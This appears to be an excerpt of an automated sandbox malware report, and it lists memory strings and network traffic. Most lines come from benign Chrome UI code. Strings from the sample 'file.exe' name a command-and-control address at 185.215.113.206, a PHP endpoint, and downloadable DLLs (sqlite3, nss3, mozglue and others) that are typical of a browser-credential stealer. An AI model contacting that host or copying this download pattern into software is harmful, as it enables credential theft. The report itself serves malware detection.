include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1851976764.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852155589.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852085159.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2101784449.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3~
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php8
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php93
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpAZ
Source: file.exe, 00000000.00000002.2101784449.00000000009F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpU
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcal
Source: file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllq
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllsI
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllT
Source: file.exe, 00000000.00000002.2102203891.0000000000F84000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllM
Source: file.exe, 00000000.00000002.2101784449.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2101784449.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll.b
Source: file.exe, 00000000.00000002.2101784449.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:r
Source: file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ECF
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
